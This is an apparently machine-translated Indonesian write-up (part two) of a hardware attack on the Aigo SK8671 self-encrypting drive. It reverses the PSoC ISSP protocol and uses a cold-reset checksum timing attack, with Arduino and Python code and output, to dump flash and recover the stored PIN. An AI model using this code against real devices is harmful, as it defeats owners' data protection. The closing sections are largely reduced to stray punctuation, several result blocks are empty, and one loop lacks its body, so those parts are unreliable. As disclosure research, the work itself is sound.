Ini adalah bagian kedua dan terakhir dari artikel tentang meretas drive enkripsi diri eksternal. Saya mengingatkan Anda bahwa seorang rekan baru-baru ini membawakan saya hard drive Patriot (Aigo) SK8671, dan saya memutuskan untuk membalikkannya, dan sekarang saya membagikan apa yang dihasilkannya. Sebelum membaca lebih lanjut, pastikan untuk membaca bagian pertama artikel.
4. Kami mulai menghapus dump dari PSoC flash drive internal
5. Protokol ISSP
- 5.1. Apa itu ISSP?
- 5.2. Demistifikasi vektor
- 5.3. Ngobrol dengan PSoC
- 5.4. Identifikasi register intra-chip
- 5.5. Bit pelindung
6. Serangan pertama (gagal): ROMX
7. Serangan kedua: melacak dengan reset dingin
- 7.1. Implementasi
- 7.2. Baca hasilnya
- 7.3. Rekonstruksi biner flash
- 7.4. Temukan alamat penyimpanan kode PIN
- 7.5. Kami membuang dump blok No. 126
- 7.6. Pemulihan kode pin
8. Apa selanjutnya?
9. Kesimpulan

4. Kami mulai menghapus dump dari PSoC flash drive internal
Jadi, semuanya menunjukkan (seperti yang kita tentukan di [bagian pertama] ()) bahwa kode PIN disimpan dalam isi perut flash PSoC. Karena itu, kita perlu membaca flash flashel ini. Depan pekerjaan yang diperlukan:
- kendalikan "komunikasi" dengan mikrokontroler;
- temukan cara untuk memeriksa apakah "komunikasi" ini dilindungi dari pembacaan dari luar;
- menemukan jalan di sekitar keamanan.
Ada dua tempat di mana masuk akal untuk mencari kode PIN yang valid:
- memori flash internal;
- SRAM, tempat kode pin dapat disimpan untuk membandingkannya dengan kode pin yang dimasukkan pengguna.
Ke depan, saya perhatikan bahwa saya masih berhasil menghapus dump dari PSoC flash drive internal, melewati sistem perlindungannya, dengan bantuan serangan perangkat keras "trace with cold reset", setelah membalikkan fitur yang tidak terdokumentasi dari protokol ISSP. Ini memungkinkan saya untuk langsung membuang kode PIN saat ini.
$ ./psoc.py syncing: KO OK [...] PIN: 1 2 3 4 5 6 7 8 9
Kode program yang dihasilkan:
5. Protokol ISSP
5.1. Apa itu ISSP?
"Komunikasi" dengan mikrokontroler dapat berarti hal yang berbeda: dari "vendor ke vendor", hingga interaksi menggunakan protokol serial (misalnya, ICSP untuk PIC Microchip).
Cypress memiliki protokol sendiri untuk hal ini, yang disebut ISSP (in-system serial programming protocol), yang sebagian dijelaskan dalam spesifikasi teknis . US7185162 juga menyediakan beberapa informasi. Ada juga analog OpenSource yang disebut HSSP (kami akan menggunakannya sedikit nanti). ISSP berfungsi sebagai berikut:
- restart PSoC;
- bawa nomor ajaib ke kaki data serial PSoC ini; untuk memasuki mode pemrograman eksternal;
- mengirim perintah yang merupakan string bit panjang yang disebut "vektor".
Dalam dokumentasi ISSP, vektor-vektor ini didefinisikan hanya untuk segelintir perintah:
- Inisialisasi-1
- Inisialisasi-2
- Inisialisasi-3 (opsi 3V dan 5V)
- ID-SETUP
- BACA-ID-KATA
- SET-BLOCK-NUM: 10011111010dddddddd111, di mana dddddddd = blok #
- BASE ERASE
- PROGRAM-BLOK
- SETELAH VERIFIKASI
- BACA-BYTE: 10110aaaaaaZDDDDDDDDZ1, di mana DDDDDDDDD = data keluar, aaaaaa = alamat (6 bit)
- WRITE-BYTE: 10010aaaaaadddddddd111, di mana ddddddddd = data in, aaaaaa = address (6 bits)
- Aman
- CHECKSUM-SETUP
- BACA-LIHAT
- ERASE BLOCK
Misalnya, vektor untuk Inisialisasi-2:
1101111011100000000111 1101111011000000000111 1001111100000111010111 1001111100100000011111 1101111010100000000111 1101111010000000011111 1001111101110000000111 1101111100100110000111 1101111101001000000111 1001111101000000001111 1101111000000000110111 1101111100000000000111 1101111111100010010111
Semua vektor memiliki panjang yang sama: 22 bit. Dokumentasi HSSP memiliki beberapa informasi tambahan tentang ISSP: "Vektor ISSP tidak lebih dari sekuens bit yang mewakili sekumpulan instruksi."
5.2. Demistifikasi vektor
Mari kita lihat apa yang terjadi di sini. Awalnya, saya berasumsi bahwa vektor yang sama ini adalah varian mentah dari instruksi M8C, namun, setelah menguji hipotesis ini, saya menemukan bahwa opcodes operasi tidak cocok.
Kemudian saya mencari di vektor di atas, dan menemukan studi ini , di mana penulis, meskipun tidak membahas secara rinci, memberikan beberapa petunjuk praktis: “Setiap instruksi dimulai dengan tiga bit yang sesuai dengan salah satu dari empat mnemonik (baca dari RAM, tulis ke RAM , baca register, tulis register). Kemudian datang alamat 8-bit, diikuti oleh 8 bit data (baik baca atau tulis) dan akhirnya tiga bit berhenti. "
Kemudian saya dapat mengumpulkan beberapa informasi yang sangat berguna dari bagian Supervisory ROM (SROM) dari manual teknis . SROM adalah ROM hard-coded di PSoC yang menyediakan fungsi layanan (mirip dengan Syscall) untuk kode perangkat lunak yang berjalan di ruang pengguna:
- 00h: SWBootReset
- 01h: ReadBlock
- 02h: WriteBlock
- 03h: EraseBlock
- 06h: TableRead
- 07h: CheckSum
- 08j: Kalibrasi0
- 09h: Kalibrasi1
Membandingkan nama vektor dengan fungsi SROM, kita dapat memetakan berbagai operasi yang didukung oleh protokol ini ke parameter SROM yang diharapkan. Berkat ini, kita dapat mendekode tiga bit pertama vektor ISSP:
- 100 => “wrmem”
- 101 => “rdmem”
- 110 => “wrreg”
- 111 => “rdreg”
Namun, pemahaman penuh tentang proses intra-chip hanya dapat diperoleh melalui komunikasi langsung dengan PSoC.
5.3. Ngobrol dengan PSoC
Karena Dirk Petrautsky telah mem-porting kode HSSP Cypress ke Arduino, saya menggunakan Arduino Uno untuk menghubungkan papan keyboard ke konektor ISSP.
Harap dicatat bahwa selama penelitian saya, saya cukup banyak mengubah kode Dirk. Anda dapat menemukan modifikasi saya di GitHub: di sini adalah skrip Python yang sesuai untuk berkomunikasi dengan Arduino, di cypress_psoc_tools repositori saya.
Jadi, menggunakan Arduino, pada awalnya saya hanya menggunakan vektor "resmi" untuk "komunikasi". Saya mencoba membaca ROM internal menggunakan perintah VERIFY. Seperti yang diharapkan, saya tidak bisa melakukan ini. Mungkin karena fakta bahwa bit proteksi baca diaktifkan di dalam flash drive.
Kemudian saya membuat beberapa vektor sederhana saya untuk menulis dan membaca memori / register. Harap dicatat bahwa kami dapat membaca seluruh SROM, meskipun flash drive terlindungi!
5.4. Identifikasi register intra-chip
Melihat vektor "dibongkar", saya menemukan bahwa perangkat menggunakan register tidak berdokumen (0xF8-0xFA) untuk menunjukkan opcode M8C yang dieksekusi secara langsung, melewati perlindungan. Ini memungkinkan saya untuk menjalankan berbagai opcode seperti "ADD", "MOV A, X", "PUSH" atau "JMP". Berkat mereka (melihat efek samping yang mereka miliki pada register), saya dapat menentukan register mana yang tidak terdaftar yang sebenarnya merupakan register biasa (A, X, SP dan PC).
Akibatnya, kode "dibongkar" yang dihasilkan oleh alat HSSP_disas.rb terlihat seperti ini (untuk kejelasan, saya menambahkan komentar):
--== init2 ==-- [DE E0 1C] wrreg CPU_F (f7), 0x00 # [DE C0 1C] wrreg SP (f6), 0x00 # SP [9F 07 5C] wrmem KEY1, 0x3A # SSC [9F 20 7C] wrmem KEY2, 0x03 # [DE A0 1C] wrreg PCh (f5), 0x00 # PC (MSB) ... [DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... 3 ?? [9F 70 1C] wrmem POINTER, 0x80 # RAM- [DF 26 1C] wrreg opc1 (f9), 0x30 # 1 => "HALT" [DF 48 1C] wrreg opc2 (fa), 0x40 # 2 => "NOP" [9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID SSC [DE 00 DC] wrreg A (f0), 0x06 # "Syscall" : TableRead [DF 00 1C] wrreg opc0 (f8), 0x00 # SSC, "Supervisory SROM Call" [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # :
5.5. Bit pelindung
Pada tahap ini, saya sudah dapat berkomunikasi dengan PSoC, tetapi saya masih belum memiliki informasi yang dapat dipercaya tentang bit pelindung flash drive. Saya sangat terkejut oleh fakta bahwa Cypress tidak memberikan pengguna perangkat sarana untuk memeriksa apakah perlindungan diaktifkan. Saya masuk jauh ke Google untuk akhirnya memahami bahwa kode HSSP yang disediakan oleh Cypress diperbarui setelah Dirk merilis modifikasinya. Dan begitulah! Berikut ini adalah vektor baru seperti ini:
[DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A [9F 20 7C] wrmem KEY2, 0x03 [9F A0 1C] wrmem 0xFD, 0x00 # [9F E0 1C] wrmem 0xFF, 0x00 # [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [DE 02 1C] wrreg A (f0), 0x10 # syscall ! [DF 00 1C] wrreg opc0 (f8), 0x00 [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12
Dengan menggunakan vektor ini (lihat read_security_data di psoc.py), kita mendapatkan semua bit perlindungan dalam SRAM pada 0x80, di mana setiap bit dilindungi dengan dua bit.
Hasilnya menyedihkan: semuanya dilindungi dalam mode "nonaktifkan membaca eksternal dan menulis". Oleh karena itu, kita tidak hanya dapat membaca apa pun dari USB flash drive, tetapi juga menulisnya (misalnya, untuk memperkenalkan ROM dumper di sana). Dan satu-satunya cara untuk menonaktifkan perlindungan adalah dengan menghapus seluruh chip. :-(
6. Serangan pertama (gagal): ROMX
Namun, kita dapat mencoba trik berikut: karena kita memiliki kemampuan untuk mengeksekusi opcode sewenang-wenang, mengapa tidak menjalankan ROMX, yang digunakan untuk membaca memori flash? Pendekatan ini memiliki peluang keberhasilan yang baik. Karena fungsi ReadBlock, yang membaca data dari SROM (yang digunakan oleh vektor), memeriksa untuk melihat apakah itu dipanggil dari ISSP. Namun, opcode ROMX, mungkin, mungkin tidak memiliki pemeriksaan seperti itu. Jadi, inilah kode Python (setelah menambahkan beberapa kelas pembantu ke kode Arduino C):
for i in range(0, 8192): write_reg(0xF0, i>>8) # A = 0 write_reg(0xF3, i&0xFF) # X = 0 exec_opcodes("\x28\x30\x40") # ROMX, HALT, NOP byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A print "%02x" % ord(byte[0]) # print ROM byte
Sayangnya, kode ini tidak berfungsi. :-( Alih-alih, itu berfungsi, tetapi pada output kita mendapatkan opcodes kita sendiri (0x28 0x30 0x40)! Saya tidak berpikir bahwa fungsi perangkat yang sesuai adalah elemen perlindungan baca. Ini lebih seperti trik rekayasa: ketika menjalankan opcode eksternal, bus ROM dialihkan ke buffer sementara.
7. Serangan kedua: melacak dengan reset dingin
Karena trik ROMX tidak berhasil, saya mulai merenungkan variasi lain dari trik ini - dijelaskan dalam publikasi “Menumpahkan terlalu banyak Cahaya pada Perlindungan Firmware Mikrokontroler” .
7.1. Implementasi
Vektor berikut untuk CHECKSUM-SETUP tercantum dalam dokumentasi ISSP:
[DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A [9F 20 7C] wrmem KEY2, 0x03 [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [9F 40 1C] wrmem BLOCKID, 0x00 [DE 00 FC] wrreg A (f0), 0x07 [DF 00 1C] wrreg opc0 (f8), 0x00 [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12
Ini pada dasarnya memanggil fungsi SROM 0x07, seperti yang disajikan dalam dokumentasi (italics mine):
Fungsi ini checksum checksum. Ini menghitung checksum 16-bit dari jumlah blok yang ditetapkan oleh pengguna dalam satu bank flash, menghitung dari nol. Parameter BLOCKID digunakan untuk mentransfer jumlah blok yang akan digunakan saat menghitung checksum. Nilai "1" akan menghitung checksum hanya untuk blok nol; sementara "0" akan mengarah pada fakta bahwa total checksum dari semua 256 blok bank flash akan dihitung. Sebuah checksum 16-bit dikembalikan melalui KEY1 dan KEY2. Dalam parameter KEY1, 8 bit rendah checksum diperbaiki, dan dalam KEY2, 8 bit tinggi dicatat. Untuk perangkat dengan banyak bank flash, fungsi checksum dipanggil untuk masing-masing secara terpisah. Nomor bank yang akan digunakan diatur oleh register FLS_PR1 (dengan mengatur sedikit di dalamnya sesuai dengan bank flash target).
Perhatikan bahwa ini adalah checksum paling sederhana: byte hanya dijumlahkan satu per satu; tidak ada kebiasaan CRC yang canggih. Selain itu, mengetahui bahwa set register di inti M8C sangat kecil, saya berasumsi bahwa ketika menghitung checksum, nilai-nilai perantara akan diperbaiki dalam variabel yang sama yang pada akhirnya akan menjadi output: KEY1 (0xF8) / KEY2 (0xF9).
Jadi, secara teori, serangan saya terlihat seperti ini:
- Terhubung melalui ISSP.
- Kami memulai perhitungan checksum menggunakan vektor CHECKSUM-SETUP.
- Kami me-reboot prosesor setelah waktu yang ditentukan T.
- Baca RAM untuk mendapatkan checksum C. saat ini
- Ulangi langkah 3 dan 4, setiap kali meningkatkan T.
- Kami memulihkan data dari flash drive dengan mengurangi checksum C sebelumnya dari yang sekarang.
Namun, muncul masalah: vektor Initialize-1, yang harus kami kirim setelah reboot, menimpa KEY1 dan KEY2:
1100101000000000000000 # , PSoC nop nop nop nop nop [DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A # [9F 20 7C] wrmem KEY2, 0x03 # [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [DE 01 3C] wrreg A (f0), 0x09 # SROM- 9 [DF 00 1C] wrreg opc0 (f8), 0x00 # SSC [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12
Kode ini menimpa checksum berharga kami dengan memanggil Calibrate1 (fungsi SROM 9) ... Mungkin kita bisa masuk ke mode pemrograman dengan mengirim nomor ajaib (dari awal kode di atas) dan kemudian membaca SRAM? Dan ya, itu berhasil! Kode Arduino yang mengimplementasikan serangan ini cukup sederhana:
case Cmnd_STK_START_CSUM: checksum_delay = ((uint32_t)getch())<<24; checksum_delay |= ((uint32_t)getch())<<16; checksum_delay |= ((uint32_t)getch())<<8; checksum_delay |= getch(); if(checksum_delay > 10000) { ms_delay = checksum_delay/1000; checksum_delay = checksum_delay%1000; } else { ms_delay = 0; } send_checksum_v(); if(checksum_delay) delayMicroseconds(checksum_delay); delay(ms_delay); start_pmode();
- Baca checkum_delay.
- Jalankan perhitungan checksum (send_checksum_v).
- Tunggu periode waktu tertentu; diberikan perangkap berikut:
- Saya menghabiskan banyak waktu sampai saya menemukan bahwa delayMicroseconds ternyata berfungsi dengan benar hanya dengan penundaan tidak melebihi 16383mks;
- dan sekali lagi membunuh jumlah waktu yang sama sampai menemukan bahwa delayMicroseconds, jika melewati 0 ke inputnya, bekerja dengan sangat salah!
- Muat ulang PSoC ke mode pemrograman (cukup kirim nomor ajaib, tanpa mengirim inisialisasi vektor).
Kode Python yang dihasilkan:
for delay in range(0, 150000):
Singkatnya, apa yang dilakukan kode ini:
- Memuat ulang PSoC (dan mengirimkannya nomor ajaib).
- Mengirim vektor inisialisasi penuh.
- Memanggil fungsi Arduino Cmnd_STK_START_CSUM (0x85), di mana keterlambatan dalam mikrodetik dilewatkan sebagai parameter.
- Membaca checksum (0xF8 dan 0xF9) dan register 0xF1 yang tidak berdokumen.
Kode ini dieksekusi 10 kali dalam 1 mikrodetik. 0xF1 termasuk di sini karena hanya register yang berubah ketika menghitung checksum. Mungkin ini adalah semacam variabel sementara yang digunakan oleh perangkat logika aritmatika. Perhatikan hack jelek yang saya restart Arduino menggunakan picocom ketika Arduino berhenti memberi tanda-tanda kehidupan (saya tidak tahu mengapa).
7.2. Baca hasilnya
Hasil skrip Python terlihat seperti ini (disederhanakan agar mudah dibaca):
DELAY F1 F8 F9 # F1 – # F8 # F9 00000 03 E1 19 [...] 00016 F9 00 03 00016 F9 00 00 00016 F9 00 03 00016 F9 00 03 00016 F9 00 03 00016 F9 00 00 # 0 00017 FB 00 00 [...] 00023 F8 00 00 00024 80 80 00 # 1- : 0x0080-0x0000 = 0x80 00024 80 80 00 00024 80 80 00 [...] 00057 CC E7 00 # 2- : 0xE7-0x80: 0x67 00057 CC E7 00 00057 01 17 01 # , 00057 01 17 01 00057 01 17 01 00058 D0 17 01 00058 D0 17 01 00058 D0 17 01 00058 D0 17 01 00058 F8 E7 00 # E7? 00058 D0 17 01 [...] 00059 E7 E7 00 00060 17 17 00 # [...] 00062 00 17 00 00062 00 17 00 00063 01 17 01 # , ! 00063 01 17 01 [...] 00075 CC 17 01 # , 0x117-0xE7: 0x30
Pada saat yang sama, kami memiliki masalah: karena kami beroperasi pada checksum aktual, byte nol tidak mengubah nilai baca. Namun, karena seluruh prosedur perhitungan (8192 byte) membutuhkan 0,1478 detik (dengan sedikit penyimpangan di setiap awal), yang kira-kira sama dengan 18,04 μs per byte, kita dapat menggunakan waktu ini untuk memeriksa nilai checksum pada waktu yang sesuai. Untuk proses pertama, semuanya dibaca dengan mudah, karena durasi prosedur komputasi selalu hampir sama. Namun, akhir dari dump ini kurang akurat, karena “penyimpangan waktu yang tidak signifikan” dengan setiap putaran disimpulkan dan menjadi signifikan:
134023 D0 02 DD 134023 CC D2 DC 134023 CC D2 DC 134023 CC D2 DC 134023 FB D2 DC 134023 3F D2 DC 134023 CC D2 DC 134024 02 02 DC 134024 CC D2 DC 134024 F9 02 DC 134024 03 02 DD 134024 21 02 DD 134024 02 D2 DC 134024 02 02 DC 134024 02 02 DC 134024 F8 D2 DC 134024 F8 D2 DC 134025 CC D2 DC 134025 EF D2 DC 134025 21 02 DD 134025 F8 D2 DC 134025 21 02 DD 134025 CC D2 DC 134025 04 D2 DC 134025 FB D2 DC 134025 CC D2 DC 134025 FB 02 DD 134026 03 02 DD 134026 21 02 DD
Ini adalah 10 kesedihan untuk setiap keterlambatan mikrodetik. Total waktu operasi untuk membuang semua 8192 byte flash drive adalah sekitar 48 jam.
7.3. Rekonstruksi biner flash
Saya belum selesai menulis kode yang sepenuhnya merekonstruksi kode program flash drive, dengan mempertimbangkan semua penyimpangan dalam waktu. Namun, saya sudah memulihkan awal kode ini. Untuk memastikan saya melakukannya dengan benar, saya membongkar menggunakan m8cdis:
0000: 80 67 jmp 0068h ; Reset vector [...] 0068: 71 10 or F,010h 006a: 62 e3 87 mov reg[VLT_CR],087h 006d: 70 ef and F,0efh 006f: 41 fe fb and reg[CPU_SCR1],0fbh 0072: 50 80 mov A,080h 0074: 4e swap A,SP 0075: 55 fa 01 mov [0fah],001h 0078: 4f mov X,SP 0079: 5b mov A,X 007a: 01 03 add A,003h 007c: 53 f9 mov [0f9h],A 007e: 55 f8 3a mov [0f8h],03ah 0081: 50 06 mov A,006h 0083: 00 ssc [...] 0122: 18 pop A 0123: 71 10 or F,010h 0125: 43 e3 10 or reg[VLT_CR],010h 0128: 70 00 and F,000h ; Paging mode changed from 3 to 0 012a: ef 62 jacc 008dh 012c: e0 00 jacc 012dh 012e: 71 10 or F,010h 0130: 62 e0 02 mov reg[OSC_CR0],002h 0133: 70 ef and F,0efh 0135: 62 e2 00 mov reg[INT_VC],000h 0138: 7c 19 30 lcall 1930h 013b: 8f ff jmp 013bh 013d: 50 08 mov A,008h 013f: 7f ret
Terlihat cukup bisa dipercaya!
7.4. Temukan alamat penyimpanan kode PIN
Sekarang kita dapat membaca checksum pada saat kita membutuhkan, kita dapat dengan mudah memeriksa bagaimana dan di mana itu berubah ketika kita:
- masukkan kode PIN yang salah;
- ubah kode pin.
Pertama, untuk menemukan perkiraan alamat penyimpanan, saya mengambil dump checksum dalam peningkatan 10 ms setelah reboot. Kemudian saya memasukkan kode PIN yang salah dan melakukan hal yang sama.
Hasilnya tidak terlalu menyenangkan, karena ada banyak perubahan. Tetapi pada akhirnya, saya dapat membuktikan bahwa checksum berubah di suatu tempat dalam interval antara 120.000 ÎĽs dan 140.000 ÎĽs keterlambatan. Tapi "kode pin" yang saya dapatkan di sana benar-benar salah - karena artefak prosedur delayMicroseconds, yang melakukan hal-hal aneh ketika 0 diteruskan ke sana.
Kemudian, setelah menghabiskan hampir 3 jam, saya ingat bahwa panggilan sistem SRS CheckSum pada input menerima argumen yang menentukan jumlah blok untuk checksum! T.O. kita dapat dengan mudah melokalkan alamat penyimpanan kode PIN dan penghitung "upaya yang salah", akurat ke blok 64-byte.
Proses awal saya memberikan hasil sebagai berikut:

Kemudian saya mengubah kode PIN dari "123456" menjadi "1234567" dan menerima:

Dengan demikian, kode PIN dan penghitung upaya yang salah tampaknya disimpan di blok No. 126.
7.5. Kami membuang dump blok No. 126
Blok No. 126 harus ditempatkan di suatu tempat di wilayah 125x64x18 = 144000mks, dari awal perhitungan checksum, di dump penuh saya, dan itu terlihat cukup dapat dipercaya. Kemudian, setelah secara manual memilah banyak dump yang tidak valid (karena akumulasi "sedikit penyimpangan dalam waktu"), saya akhirnya mendapatkan byte ini (dengan penundaan 145527 ÎĽs):

Jelas bahwa kode PIN disimpan dalam bentuk yang tidak dienkripsi! Nilai-nilai ini tentu saja tidak ditulis dalam kode ASCII, tetapi ternyata, mereka mencerminkan pembacaan yang diambil dari keyboard kapasitif.
Akhirnya, saya menjalankan beberapa tes lagi untuk menemukan di mana penghitung upaya yang salah disimpan. Inilah hasilnya:

0xFF - berarti "15 upaya", dan berkurang dengan setiap upaya yang salah.
7.6. Pemulihan kode pin
Ini kode jelek saya yang menyatukan semua hal di atas:
def dump_pin(): pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5", 0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"} last_csum = 0 pin_bytes = [] for delay in range(145495, 145719, 16): csum = csum_at(delay, 1) byte = (csum-last_csum)&0xFF print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte) pin_bytes.append(byte) last_csum = csum print "PIN: ", for i in range(0, len(pin_bytes)): if pin_bytes[i] in pin_map: print pin_map[pin_bytes[i]], print
Ini adalah hasil eksekusi:
$ ./psoc.py syncing: KO OK Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK 145495 53e2 (0000) => e2 145511 5407 (53e2) => 25 145527 542d (5407) => 26 145543 5454 (542d) => 27 145559 5474 (5454) => 20 145575 5495 (5474) => 21 145591 54b7 (5495) => 22 145607 54da (54b7) => 23 145623 5506 (54da) => 2c 145639 5506 (5506) => 00 145655 5533 (5506) => 2d 145671 554c (5533) => 19 145687 554e (554c) => 02 145703 554e (554e) => 00 PIN: 1 2 3 4 5 6 7 8 9
Hore! Itu berhasil!
Harap perhatikan bahwa nilai keterlambatan yang digunakan oleh saya kemungkinan besar relevan untuk satu PSoC spesifik - yang saya gunakan.
8. Apa selanjutnya?
, PSoC, Aigo:
, – - . :
- , « »;
- FPGA- ( Arduino);
- : , RAM, , RAM, . Arduino - , Arduino 5 , 3,3 .
, – , . , , – , .
SROM, ReadBlock, , – , «REcon Brussels 2017» .
, – : SRAM, .
9.
, , ( «») … (), !
Aigo? - HDD-, 2015 SyScan, HDD-, , . :-)
. 40 . ( ) ( ). 40 , . .